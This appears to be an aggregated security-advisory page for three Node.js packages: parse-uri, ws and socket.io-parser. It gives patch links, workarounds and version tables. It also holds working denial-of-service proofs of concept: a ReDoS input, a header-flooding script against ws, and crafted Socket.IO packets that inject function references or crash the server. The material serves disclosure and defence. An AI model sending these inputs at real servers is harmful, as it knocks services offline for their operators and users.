Version Details and Security Vulnerabilities

An issue in parse-uri v1.0.9 allows attackers to cause a Regular expression Denial of Service (ReDoS) via a crafted URL.

PoC

async function exploit() {
    const parseuri = require("parse-uri");
    // This input is designed to cause excessive backtracking in the regex
    const craftedInput = 'http://example.com/' + 'a'.repeat(30000) + '?key=value';
    const result = await parseuri(craftedInput);
    }
await exploit();

Impact

A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server.

Proof of concept

const http = require('http');
const WebSocket = require('ws');

const wss = new WebSocket.Server({ port: 0 }, function () {
  const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
  const headers = {};
  let count = 0;

  for (let i = 0; i < chars.length; i++) {
    if (count === 2000) break;

    for (let j = 0; j < chars.length; j++) {
      const key = chars[i] + chars[j];
      headers[key] = 'x';

      if (++count === 2000) break;
    }
  }

  headers.Connection = 'Upgrade';
  headers.Upgrade = 'websocket';
  headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
  headers['Sec-WebSocket-Version'] = '13';

  const request = http.request({
    headers: headers,
    host: '127.0.0.1',
    port: wss.address().port
  });

  request.end();
});

Patches

The vulnerability was fixed in ws@8.17.1 (https://github.com/websockets/ws/commit/e55e5106f10fcbaac37cfa89759e4cc0d073a52c) and backported to ws@7.5.10 (https://github.com/websockets/ws/commit/22c28763234aa75a7e1b76f5c01c181260d7917f), ws@6.2.3 (https://github.com/websockets/ws/commit/eeb76d313e2a00dd5247ca3597bba7877d064a63), and ws@5.2.4 (https://github.com/websockets/ws/commit/4abd8f6de4b0b65ef80b3ff081989479ed93377e)

Workarounds

In vulnerable versions of ws, the issue can be mitigated in the following ways:

1. Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent.
2. Set server.maxHeadersCount to 0 so that no limit is applied.

Credits

The vulnerability was reported by Ryan LaPointe in https://github.com/websockets/ws/issues/2230.

References

• https://github.com/websockets/ws/issues/2230
• https://github.com/websockets/ws/pull/2231

Due to improper type validation in the socket.io-parser library (which is used by the socket.io and socket.io-client packages to encode and decode Socket.IO packets), it is possible to overwrite the _placeholder object which allows an attacker to place references to functions at arbitrary places in the resulting query object.

Example:

const decoder = new Decoder();

decoder.on("decoded", (packet) => {
 console.log(packet.data); // prints [ 'hello', [Function: splice] ]
})

decoder.add('51-["hello",{"_placeholder":true,"num":"splice"}]');
decoder.add(Buffer.from("world"));

This bubbles up in the socket.io package:

io.on("connection", (socket) => {
 socket.on("hello", (val) => {
 // here, "val" could be a function instead of a buffer
 });
});

:warning: IMPORTANT NOTE :warning:

You need to make sure that the payload that you received from the client is actually a Buffer object:

io.on("connection", (socket) => {
 socket.on("hello", (val) => {
 if (!Buffer.isBuffer(val)) {
 socket.disconnect();
 return;
 }
 // ...
 });
});

If that's already the case, then you are not impacted by this issue, and there is no way an attacker could make your server crash (or escalate privileges, ...).

Example of values that could be sent by a malicious user:

• a number that is out of bounds

Sample packet: 451-["hello",{"_placeholder":true,"num":10}]

io.on("connection", (socket) => {
 socket.on("hello", (val) => {
 // val is `undefined`
 });
});

• a value that is not a number, like undefined

Sample packet: 451-["hello",{"_placeholder":true,"num":undefined}]

io.on("connection", (socket) => {
 socket.on("hello", (val) => {
 // val is `undefined`
 });
});

• a string that is part of the prototype of Array, like "push"

Sample packet: 451-["hello",{"_placeholder":true,"num":"push"}]

io.on("connection", (socket) => {
 socket.on("hello", (val) => {
 // val is a reference to the "push" function
 });
});

• a string that is part of the prototype of Object, like "hasOwnProperty"

Sample packet: 451-["hello",{"_placeholder":true,"num":"hasOwnProperty"}]

io.on("connection", (socket) => {
 socket.on("hello", (val) => {
 // val is a reference to the "hasOwnProperty" function
 });
});

This should be fixed by:

• https://github.com/socketio/socket.io-parser/commit/b5d0cb7dc56a0601a09b056beaeeb0e43b160050, included in socket.io-parser@4.2.1
• https://github.com/socketio/socket.io-parser/commit/b559f050ee02bd90bd853b9823f8de7fa94a80d4, included in socket.io-parser@4.0.5
• https://github.com/socketio/socket.io-parser/commit/04d23cecafe1b859fb03e0cbf6ba3b74dff56d14, included in socket.io-parser@3.4.2
• https://github.com/socketio/socket.io-parser/commit/fb21e422fc193b34347395a33e0f625bebc09983, included in socket.io-parser@3.3.3

Dependency analysis for the socket.io package

| socket.io version | socket.io-parser version | Covered? | |---------------------|---------------------------------------------------------------------------------------------------------|------------------------| | 4.5.2...latest | ~4.2.0 (ref) | Yes :heavy_check_mark: | | 4.1.3...4.5.1 | ~4.0.4 (ref) | Yes :heavy_check_mark: | | 3.0.5...4.1.2 | ~4.0.3 (ref) | Yes :heavy_check_mark: | | 3.0.0...3.0.4 | ~4.0.1 (ref) | Yes :heavy_check_mark: | | 2.3.0...2.5.0 | ~3.4.0 (ref) | Yes :heavy_check_mark: |

Dependency analysis for the socket.io-client package

| socket.io-client version | socket.io-parser version | Covered? | |----------------------------|----------------------------------------------------------------------------------------------------------------|------------------------------------| | 4.5.0...latest | ~4.2.0 (ref) | Yes :heavy_check_mark: | | 4.3.0...4.4.1 | ~4.1.1 (ref) | No, but the impact is very limited | | 3.1.0...4.2.0 | ~4.0.4 (ref) | Yes :heavy_check_mark: | | 3.0.5 | ~4.0.3 (ref) | Yes :heavy_check_mark: | | 3.0.0...3.0.4 | ~4.0.1 (ref) | Yes :heavy_check_mark: | | 2.2.0...2.5.0 | ~3.3.0 (ref) | Yes :heavy_check_mark: |

Impact

A specially crafted Socket.IO packet can trigger an uncaught exception on the Socket.IO server, thus killing the Node.js process.

TypeError: Cannot convert object to primitive value
       at Socket.emit (node:events:507:25)
       at .../node_modules/socket.io/lib/socket.js:531:14

Patches

A fix has been released today (2023/05/22):

• https://github.com/socketio/socket.io-parser/commit/3b78117bf6ba7e99d7a5cfc1ba54d0477554a7f3, included in socket.io-parser@4.2.3
• https://github.com/socketio/socket.io-parser/commit/2dc3c92622dad113b8676be06f23b1ed46b02ced, included in socket.io-parser@3.4.3

Another fix has been released for the 3.3.x branch:

• https://github.com/socketio/socket.io-parser/commit/ee006607495eca4ec7262ad080dd3a91439a5ba4, included in `socket.io-parser@3.3.4

| socket.io version | socket.io-parser version | Needs minor update? | |---------------------|---------------------------------------------------------------------------------------------------------|--------------------------------------| | 4.5.2...latest | ~4.2.0 (ref) | npm audit fix should be sufficient | | 4.1.3...4.5.1 | ~4.1.1 (ref) | Please upgrade to socket.io@4.6.x | | 3.0.5...4.1.2 | ~4.0.3 (ref) | Please upgrade to socket.io@4.6.x | | 3.0.0...3.0.4 | ~4.0.1 (ref) | Please upgrade to socket.io@4.6.x | | 2.3.0...2.5.0 | ~3.4.0 (ref) | npm audit fix should be sufficient |

Workarounds

There is no known workaround except upgrading to a safe version.

For more information

If you have any questions or comments about this advisory:

• Open a discussion here

Thanks to @rafax00 for the responsible disclosure.